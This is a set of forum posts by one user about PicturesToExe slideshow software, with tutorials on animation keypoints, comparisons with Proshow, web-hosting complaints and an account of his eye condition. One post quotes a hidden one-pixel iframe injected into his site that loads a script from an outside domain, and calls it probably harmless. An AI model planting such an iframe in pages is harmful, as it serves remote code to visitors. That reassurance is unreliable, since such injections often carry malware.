Lin Evans

Thanks Paul! Yes the thought of being a "one eyed" photographer was disconcerting at best. I'm elated with the improvement and am able to work now so back to normal.... Best regards, Lin

Hi Sharon, If you read my response to you above, you will find that you need the Beta 5 version to have pan, zoom, rotate.... Best regards, Lin "Some of us have suggested that you learn version 4.48 before starting with version 5 beta while others have suggested that you jump right in and learn version 5. The reason those of us who have suggested you jump right in and begin learning version 5 with the beta is that we know Proshow (several of us use both products) and what you are used to and the beta 5 can do the pan, zoom, rotate effects very similar to what you are already used to doing."

Hi Sharon, First let me explain a couple of the things which are a bit obscure. When you purchase the release version 4.48 of PicturesToExe (regardless of which license), you are entitled to a free upgrade to version 5 when it is released. Version 5 will come in two "flavors." The standard version does not have an internal DVD burning engine but does have every other feature of the "deluxe" version. The delux version will cost all of us who presently own version 4.48 an additional $20. As far as which version to purchase, you can always "upgrade" to the business version later, but the cost difference is so insignificant, personally I would just buy the business version. The "beta" is presently very far along and the soon to be released beta 9 will have the majority of the features of version 5 release. Unlike Photodex, Wnsoft releases the beta versions for all their registered users to try and use. Since you have been using Proshow you are already familiar with the pan, zoom, rotate features. These are but a few of the features which version 5 will have which are not possible with the present release version 4.48. Some of us have suggested that you learn version 4.48 before starting with version 5 beta while others have suggested that you jump right in and learn version 5. The reason those of us who have suggested you jump right in and begin learning version 5 with the beta is that we know Proshow (several of us use both products) and what you are used to and the beta 5 can do the pan, zoom, rotate effects very similar to what you are already used to doing. Once you understand keypoints (key frames in Proshow language), you will be able to make PTE jump through hoops and even do things which are impossible to do with Proshow Gold or Proshow Producer. It's not that difficult to learn - it just takes a bit of practice, reading of tutorials and time. You will find that the slideshows you create with version 5 beta run smoother and have significantly better image quality than what you can achieve with Proshow Gold or Proshow Producer. In answer to your question about AVI versus DVD. In order to make a DVD which people can play on a television, it's necessary to convert a slideshow to a "movie" format. In Proshow Gold, this was always done by creating an MPEG file (this is one of several movie formats). With Producer you had the choice of creating an AVI (another movie format) file. Proshow Gold or Producer then renders these movie formats to DVD and burned the show on a DVD disk. PTE beta 5 allows you to do likewise. An AVI format is created from your slideshow then burned to a DVD with the program or you can simply create an executable file (just as with Photodex products) which can be played on any Windows based PC. The executable format is of significantly higher image quality than the ones made with Proshow Gold or Producer because PTE shows are rendered at the resolution of the files used (your original images) to make the slideshow. Gold and Producer have always used software rendering which, in essence, means that the orientation and intent has been to ultimately make a DVD rather than an executable. So the files are rendered at or near DVD resolution (low resolution compared to the original images). When Producer or Gold is asked to make an executable file, these low resolution renderings are then "interpolated" (pixels added) to the desired screen display size. This procedure makes the images soft and of less visual quality than those using "hardware" rendering as is the case with PicturesToExe. Photodex stated that they would have hardware rendering in version 3 of Proshow Gold and Proshow Producer. Since that time there has been absolute "silence" about hardware rendering from the company. There has been much speculation on the Proshow Enthusiasts forum about this, and the only conclusions most of us have been able to draw is that for whatever reason they did nor or could not implement hardware rendering. No one has seen higher quality executables matching those from PicturesToExe coming from the latest versions of Gold or Producer so the only logical conclusions we can draw is that hardware rendering has not happened. As many of us are photographers and some of us are professional photographers, image quality is extremely important. For slideshows delivered on DVD, there is ultimately little or no difference in quality between a properly built slideshow with hardware or software rendering. Each is ultimately downgraded to DVD quality. On the other hand for executable slideshows the differences are quite noticeable and this is why most of us prefer PicturesToExe for that purpose. The power available to the user with PicturesToExe beta 5 is incredible. You will find as time goes on that things which are truly difficult to do with Gold are simple to do with PTE (PicturesToExe). You have unlimited layers, the ability to alter opacity from zero to 100% within a single layer and the ability to use very sophisticated "parent/child" relationships which allow such things as the fantastic Photo Album such as Jean-Pierre (JPD) has shown. You can also create bezier type curves, eliptical paths of objects and many things which just can't be done with Gold or Producer. This is truly a fantastic product as you will come to eventually realize, and the cost is so low that it's almost unbelievable. Best regards, Lin

Hi Tom, Not too long ago there was a discussion where Hawk provided a way of using copy/paste to move information from one to another PTE project. The "secret" was to keep both open - here is a link to the explanation.... http://www.picturestoexe.com/forums/index....amp;#entry31206 Best regards, Lin

Hi Maureen, LOL - I'm working on watering down that whisky right now! I'll bet we could make some pink elephants from fluffy snow flakes - HA! Thanks again. The opthamologist has pretty well cut me loose with no restrictions so in a few days I should be back much earlier than expected. Best regards, Lin

Hi Suzy, This is really easy to achieve - and I think you did see that scene on Barry's site. Let's start with the basics. Take any image you wish to make transparent as a cut out into PhotoShop. Now there are several ways to do this, so I'm just going to give you one easy example. Let's take a balloon for an example. Open a balloon jpg in Photoshop first do a "Select All" then "Edit Copy".. Click on "File, New" then set the background to transparent, 8 bit RGB color and choose a file size in dimensions to match the jpg of the balloon. Next do "Edit" "Paste" and this will paste the full jpg of the balloon over the transparency. Next choose the Eraser tool with opacity set to 100% and erase all parts you don't want to appear. Next save the file as a PNG (do not flatten or merge layers). Open PTE and put on the slide list the background you wish to use for the balloon to appear on then click on Objects and Animations and set the view to about 10% (up at the top of the screen to the right of "paste"). This will make the background look like a large postage stamp surrounded by lots of black space. Right click in this black space far away from the jpg image and completely outside the bounding rectangle of green surrounding the picture. Choose "Add File" and then select your balloon PNG file. Adjust the size of the balloon with the rectangle visually and place it anywhere you want it to be at the start of the slide show. Next use the Customize Slide feature to set the time for the entire slide appearance. For now use 30 seconds. You will find the balloon jpg on the Objects list on the right. Click on the balloon file then go somewhere along the time line and set a keypoint - say 15 seconds for an example. Now move the balloon by clicking and holding down the mouse key with the mouse cursor in the center of the balloon and move the balloon by dragging it to a new position. You can also change the size, etc., at this time. Next click on "Preview" and you will see exactly what this animation will look like. Place other keypoints for the balloon and move the position and change the size to see how this affects the action and animation. By changing the opacity of the balloon, you can cause it to appear or disappear at any keypoint. The action of changing opacity will happen "between" keypoints. If you want the balloon to stay 100% opaque until only two seconds before a keypoint, place another keypoint two seconds before where you want it to fade out and set this opacity to 100%. You will begin to see how this works. All actions and animations take place "between" two keypoints. Opacity is actually another animation so if you set the opacity to 100% (the default) at the start of a slide show then set a keypoint at 4 seconds with the opacity to zero, the balloon will begin to fade out gradually and fade out completely at the 4 second point. So if you want it to stay visible until three seconds, you need to set a keypoint at three seconds and make that opacity 100% at that time. This will keep the fade out action from happening until the three second point then between three and four seconds the balloon will disappear. If you want it back suddenly, then you need to set a keypoint just before where you want it to re-appear and set this opacity to zero then another keypoint shortly after and set the opacity to 100%.. Practice a bit and soon you will be animating multiple objects with ease making them move about, etc. Read the tutorials on theDom's site and you will learn how to use and move the "center" point for any object to control the type of rotation either around the center of the object itself or around a point where you "move" the center to. Soon you will learn to use rectangles and parent/child relationships to create any type of bezier curve you wish an object to follow in movement. It's a very exciting and powerful program - give it a bit of time and don't be afraid to ask for detailed help. We're all here to help you get going and learn to use the program. Here's a quick and dirty sample - I just cut out one of my balloon samples and saved as a transparent PNG then animated it on a background scene. I used the same PNG for each of the two balloons as you can see. Just unzip the file and open the PTE file in PicturesToExe and study the path of each balloon via keypoints. http://www.lin-evans.net/p2e/balloonsample.zip Best regards, Lin

Hi Suzy, PTE works a little differently than what you are used to. You have unlimited layers (limited only by your hardware) in PTE but you need to use PNG rather than PSD files if you want a transparent background. You "can" use transparent GIF files, but PNG is much superior because you are limited to 256 colors with GIF and PNG has no real practical limit. Since you have complete transparency control over each layer in PTE 5.0 beta, there is no need to prepare most images in Photoshop, etc., unless you want a transparent background (floating image) then you do that in Photoshop or other software. Regular jpg files can be made transparent, etc., in PTE by simply adjusting the opacity of the file. For example if you wanted a white background with a ghost-like image showing through, you could simply put a white jpg on one layer and your choice of other file in another and adjust the opacity to the desired degree to see the effect you wish. Of course if you want to have variable transparency in particular places in the image then you need to do that in Photoshop and save as either a jpg or png then use the file in PTE. If you will let us know what you are trying to achieve, perhaps some of us on the forum can suggest the easiest way to achieve your goals. Best regards, Lin

Hi Peter, Thanks! After my appointment yesterday with the opthamologist I'm very confident that my vision will return to normal soon. I don't wear glasses but using the testing equipment even through the haze of floaters my vision measured 20/20 (corrected) for each eye so perhaps I'll soon be fitted with glasses - HA! At 64 years I suppose it's time... Just be thankful you don't have to peer through the "real thing" complete with sub zero temperatures, high wind and snow freezing around your face - LOL. We love the snow, but have had about enough for now so praying for warmer weather soon... Best regards, Lin Thanks Al, after my appointment I'm much more confident of a full recovery. There was no retinal damage and the number and density of floaters has greatly diminished already so things are "looking good" (pun intended)... Best regards, Lin

Never mind - this is too strange - LOL. When all else fails try a re-boot. After a cold boot it works perfectly. I think my development computer is suffering age related defficiencies just like its owner - HA! ----------------------------------- Since several have used and commented on JPD's template, I was wondering if anyone else is having problems reading the pte file? When I unzip and open screensaver.pte in beta 5u I soon get a lockup and "program not responding" error from PTE. I would assume I'm either missing something or a file is corrupted but I've downloaded, erased, downloaded, unzipped and erased the zip file several times. I see the file list but as soon as I try to go to Objects and Animations, etc., it crashes. At the bottom, the file list shows HPIM0047 as the last file, so perhaps ...0048 is problematic for pte on my system, but I can it and all others plainly using Irfanview, so it's not making a lot of sense to me.?? Best regards, Lin

Hi Cindy, It's a problem which seems to be going around lately and I suspect it's caused by a worm on your web site host's server. I had a very similar incident in the past few days. I had to get a new host and move about 20 gigabytes of code to the new server. For 24 hours everything worked perfectly then suddenly every time anyone would call up my website they would get a warning from Internet Explorer which indicated that a program was attempting to download a Java script to their hard drive. I checked my index.htm and index1.htm files (I have frames) and found a single line of code as follows: <iframe src=http://x-road.co.kr/rich/out.php width=1 height=1></iframe> This small line of code calls a Java script which loads on one's hard drive and contacts a Google link which has to do with ads. I doubt that it's in any way dangerous but primarily a P.I.T.A. to have to search and fix. I contacted my host and warned them to look for a worm or possibly a breach of security which has allowed a web crawler or spyder to infiltrate the server and modify the index files it finds. Best regards, Lin

Hi Ken, Thanks! It's nice to be able to see enough to get the timings right - LOL... Lin Hey Al, Remember the old Johnny Horton song - When It's Spring Time in Alaska, It's 40 Below? That's about what it's been feeling like here lately - LOL. Up in the high country it never melts around here and the snows continue until June and start up again in September. I'm getting tired of "white" - nothing to photograph which doesn't have white all over it - HA! The eye is rapidly improving now - much quicker than expected and on the good side of the curve. I have an appointment with the doctor in the morning and I think he will be surprised at the changes so probably will be able to get back to work maybe as soon as next week. Best regards, Lin

A 16 meg zipped executable expanding on the Two Minutes of Solace demo with Rocky Mountain spring snow and Colorado Rocky Mountain Wildlife..... http://www.lin-evans.net/p2e/rockymountainspring.zip Lin

Hi Sharon, First, welcome to the PTE forums! As I told you on the PSP forum, there is no reason with the tiny financial investment in PTE why you shouldn't be able to use both PSP and PTE to create superior slideshows. I will take a little different approach with my advice than most. With the full agreement that you should download, learn and use the latest release version of PicturesToExe (4.48), I believe you should also download the latest beta of 5.0 and begin to use it as well. I assume you were drawn to PSP by the upgrade features over PSG. I've used and followed Photodex's products (I was a beta tester for Proshow before Photodex released their first product) since their inception and PSP offered major features advantages over PSG. It's a wonderful program with myriad features, but also, in my opinion, plagued by numerous bugs perhaps caused by a rush to market. There is a bit of a different operational philosophy with PicturesToExes which leads the developers to allow everyone the opportunity to beta test this very fine product and provide their input which is carefully considered and often incorporated. This has resulted in a fairly lengthy beta test cycle which is nearing completion, but also results in a very bug-free (as free of bugs as any software can be) product! As others have said, there are still many features which have yet to be introduced but the majority will find their way into the beta 9 version. But even without these features, the present beta is quite capable of producing superior presenations as you have or will undoubtedly see very soon. So since the very things which probably prompted you to upgrade from Gold to Producer are present (unlimited layers, complete control of opacity within a layer, etc.) are included in the present beta, I believe you will be better served by jumping in and begining to learn the tremendous features available in the version 5 betas. PicturesToExe has always been a "nuts and bolts" approach as compared to the feature rich but "canned" approach of the Photodex products. Let me try to explain what I mean by this. With Photodex products, you get a wonderful menu of choices which let you have a broad range of tools - but these tools are fixed. With PTE you get a "tool" which will allow you to build your slideshow presentation and achieve the effects you desire but make it possible to do this the way "you" want rather than the way the developer thinks you should. It's often been said that a machine shop lathe is the one tool which is indispensable because with it you can build all the other tools and also any tool which you might envision. PTE is like the lathe, it's a tool which allows you to build and use other tools. So there is a place for each approach. Your PSP is a wonderful program with myriad bells and whistles but limited in its flexibility. PTE is a program which doesn't have all the built-in bells and whistles of PSP, but lets you achieve the same end and beyond by virtue of its extreme flexibility. As you questioned on the PSP forum - why is PTE so powerful and so inexpensive? The answer is that every so often a true value comes along in the software industry where the developers are not driven by "only" the profit motive but rather by the pride of producing the finest product of its kind available. Obviously Igor and his development team would also like to make a nice income - don't we all? But they believe that by producing a truly remarkable product at a very fair price they will attract those who recognize a true value when they see one and that the numbers of such people will provide them with a sufficient market share and that everyone will then be happy and its a win/win situation. So by all means download the beta as well. Read the numerous get-started PDF tutorials and AV tutorials and soon you will become proficient with both PSP and PTE and between the two there is little you can't achieve in the way of presentation slideshows. As others have said, there are many things which are just easier to do in PTE than in PSP and for those things it's the superior tool. Don't feel bad for investing in the PSP upgrade over PSG because PSP offers a world of new innovation. But don't miss the opportunity to purchase what I think is the best deal available in software today - PicturesToExe. The forum members are both willing and able to help you over the bumps and get you started on the road to success in your goals. Right now your goal seems to get this project you have on the drawing book accomplished and to that end you don't need to be learning how to do complicated things and waiting until JPD and theDom have their templates ready. Since PSP allows drop in movie clips, you may want to possibly look into this program and perhaps use it if suitable to quickly achieve your goal. Meanwhile, by all means pursue PTE because in the long run it's going to be the product which works best. Here's a link: http://www.outerspace-software.com/bixphot...k.html#examples Best regards, Lin

Hi Jean Pierre, Extraordinary! I'm especially impressed with the subtle things which might go unrecognized but adds so much to the authenticity such as the very subtle shadow masking in the center of the album so that the lighting effect follows the natural inclination to light the inside border surrounding the photo on each page as that page is turned. This as well as other subtle lighting changes show the extreme attention to detail which you have used and makes this a very unique and professional presentation! BRAVO! Best regards, Lin

Hi Guys, Thanks - just consumed with snow I guess - LOL. Glad some of it made its way to Canada! This has been the week from hell for me. My "former" web host (iPower) some time ago developed a problem with the FTP protocol on my server which prevented my normal FTP software (WSFTP Pro) from downloading or uploading more than about 3 megabytes before failing. So to upload or download any reasonable sized file I had to do it in stages and often they became fragmented. I finally found another program "FTP Commander" which had a less rigorous FTP protocol and it got around the problems which iPower couldn't seem to resolve. Three days ago FTP Commander simply would no longer work at all so I was unable to upload or download files from my site at all. Both FTP Commander and WSFTP Pro worked perfectly on every other server so the problem was indeed limited to the one hosting my website. I called iPower and asked them to move my site to another server and they gave me the run-around begining with "your files are probably corrupted" and "it will take a minimum of 72 hours and we will have to call in outside services and charge you $50 to do that". Then the story was "we can put in a service ticket and someone will return your call in 72 hours". My response was that if my "files" were corrupted, it was because of iPower's issues and their responsibility to see that they were not. Of course if they were corrupted my site would have been down - so the technical incompetence of their support team was truly exposed. I explained that since it was their issue they should move my site to a working server and I should not pay for their issues. I asked them how they would like it if their business were closed for a week (three days plus another 72 hours, etc.) and they had no income? They didn't see the relevance - LOL. Anyway I gave them the boot and moved 20 gigabytes of files to a new web host (1and1.com) which is up and running fine today thanks to help from Sherry. This not being able to see thing is getting old quickly and couldn't have happened at a worse time. I'm very happy with 1and1 so far - 200 gigabytes of storage, 2000 gigabytes per month of transfer bandwidth, etc., with a tremendous package for under $10 per month. Right now they are having a great offer of $5.95 per month for the first six months then back to $9.95 per month. They bill quarterly and you only have to sign up for one year for this business package. I'm extremely happy with the overall response - great tech support, great sales support, seems to me like a really great deal so now if I could just "see" well enough to work again - HA! Fortunately, my "lightning" flashes have grealy diminished and I can read for longer periods without going "nuts" so hopefully will be back in a month or so to normal. Here's a link to 1and1 for anyone interested: http://order.1and1.com/xml/order;jsessioni...3841E9923.TC61a Best regards, Lin

http://www.lin-evans.net/p2e/twominutesofsolace.zip about 4 meg.... Lin

Hola Silvia, ¡Muchas Gracias! Tengo alegre oír que su problema con sus ojos respondió bien al tratamiento y que usted está muy bien ahora (solamente algunos misquitoes). Usted me ha dado mucho estímulo. Recuerdos & perdone por favor mi español pobre - muchos años desde universidad Lin

Hi all and thanks for the support. My wife Sherry is kind enough to type this and include an article explaining what happened to my left eye. Hopefully the huge floater an thousands of tiny ones which obscure my vision will eventually be absorbed though the article below doesn't give much indication that this is likely to happen. On the other hand my Opthamologist said they would be absorbed and after some time will no longer be a problem so I'm not sure who is right. The extreme lightning effect every time I move my eyes to scan (read) is the major problem right now. It's very disconcerting and makes reading for more than about 20 seconds intolerable even though my right eye is fine. Even with a patch over my left eye I still have the extreme flashes which the doctor has said should disappear within 2 weeks to 2 months. So that's where I'm at right now. It's just too difficult to read for more than a few seconds so it makes working at the computer very difficult. When one is "addicted" to the computer it's a tough pill to swallow, but I'm doing the best I can - lots of people have many more serious issues so I've very happy nothing more has happened and hope to be back in a couple of months. Sherry reads the threads to me every day but I'm sure that this will grow tiresome - LOL Thanks again, Lin posterior vitreous detachment (PVD) With age, the vitreous humor changes from a gel to a liquid. As it does so, the vitreous mass gradually shrinks and collapses, separating and falling away from the retina. This is called a "posterior vitreous detachment" (PVD) and is a normal occurrence between ages 40 and 70. Commonly, a person having experienced a PVD will report seeing flashing lights and/or floaters in his or her field of vision. The flashes of light occur as the vitreous tugs on the sensory layer of the retina as the vitreous is detaching. The floaters—which are cells or debris released when the vitreous detaches—can appear as little dots, circles, lines, cobwebs, or clouds. They especially can be apparent when looking at a bright background, as the light entering the eye casts shadows of the floaters onto the retina. Sometimes a large, single floater actually can obstruct print that is being read. The observance of flashes and floaters can last two or more weeks. Even episodes lasting as long as six months can occur. It is said that the percent chance of having a vitreous detachment is at least the same as one’s age. However, a PVD may occur earlier than normal in moderately to extremely nearsighted people, as well as in people who have had cataract surgery. A dilated eye exam should be performed to make sure the symptoms are not due to a retinal detachment, which is a much more serious and potentially sight-threatening condition. floaters (muscae volitantes) As a posterior vitreous detachment (PVD) occurs—that is, as the vitreous fluid separates from the retina—organic debris or particles known as "floaters" are released. Another name for floaters is "muscae volitantes" (flying flies). Most floaters are merely compressed cells or strands of the vitreous gel which have clumped together so that they are less transparent than the rest of the vitreous. Some floaters are remnants of the hyaloid artery, which usually disintegrates before birth. These types of floaters are harmless. Floaters sometimes interfere with vision, often during reading, and they can be quite annoying. If a floater appears directly in the line of sight, the best thing to do is to move the eye from side to side or up and down. Doing so can create a current within the internal fluids to move the floater temporarily away from the line of sight. If a floater is suspended in a portion of vitreous humor which is very viscous, it can be very persistent and bothersome. Unfortunately, in most instances, there is nothing to do but learn to tolerate the floater’s presence. Surgical removal is considered only in the most extreme cases. Usually, the vitreous makes a clean break as it pulls away from the retina. Occasionally, however, the vitreous adheres tightly onto the retina in certain places; and a small, often horseshoe-shaped tear in the retina can result from persistent tugging by the vitreous. Unless the retinal tear is repaired, fluid can seep through this hole into or underneath the retina and cause a retinal detachment, a very serious, sight-threatening condition. As the vitreous membrane tugs on the retina, at points where the two structures remain attached, the tension can cause "flashing" sensations. Occasional flashes of light usually are nothing to be concerned about, unless they increase in frequency and occur in conjunction with a sudden onset of a large number of floaters, in which case a retinal detachment may have occurred.

Hi John, Possibly, I should defer this question to Igor because I'm not sure. I do know that WMA doesn't work right now. I think you can use Audacity to convert from WMA to MP3... Best regards, Lin

Hi guys & gals, I've suffered an eye trauma which will prevent me from much in the way of forum participation for possibly a couple months depending on how recovery progresses. It's nothing permanent but my vision is greatly affected temporarily and it makes it difficult to see what I'm doing. I apologize to those whom I promised more AV Tutorials on how to implement the snow effects, etc. I'll try to keep working on it if I can make out the screen but it's slow going right now.... Best regards, Lin

You only need one blank slide, just determine the amount of time you want it to remain blank, set the display time for that particular slide to the time you need then add than much silence in Audacity to your last music selection. Lin

For now, use Audacity to add silence to the end or the last music selection. It's very easy to do.... Lin

Hi Fred, I don't know any free ones, but the one I use seems to work very well and it's only $20. If you want to have a look here's the link: http://www.onestopsoft.com/ Look for the Video Decompiler among their other products.. Lin

Hi Glenys, There is one other way to do this, especially if it's a short video clip. You can use an inexpensive video decompiler to extract the still frames from a short AVI which are converted by the decompiler to jpg files then insert these frames as a sequence in PTE. You set the effects off and the speed for each frame to about 50ms. PTE will play the video portion as a sequence of individual frames. The program will do a satisfactory job of video emulation this way. I wouldn't recommend this for long video segments because the overhead in file size gets substantial, but I've found it works quite well for short clips. If you've looked at my "effects" sample, the introduction, rain sequence and ending were all done this way. A few frames are being skipped, but usually you can't tell the difference. If you are not going to be doing this type thing frequently and you are willing to post a link to the AVI file for the video I would be glad to decompile it for you, test it and zip up the individual jpgs and post a link to them for you. Best regards, Lin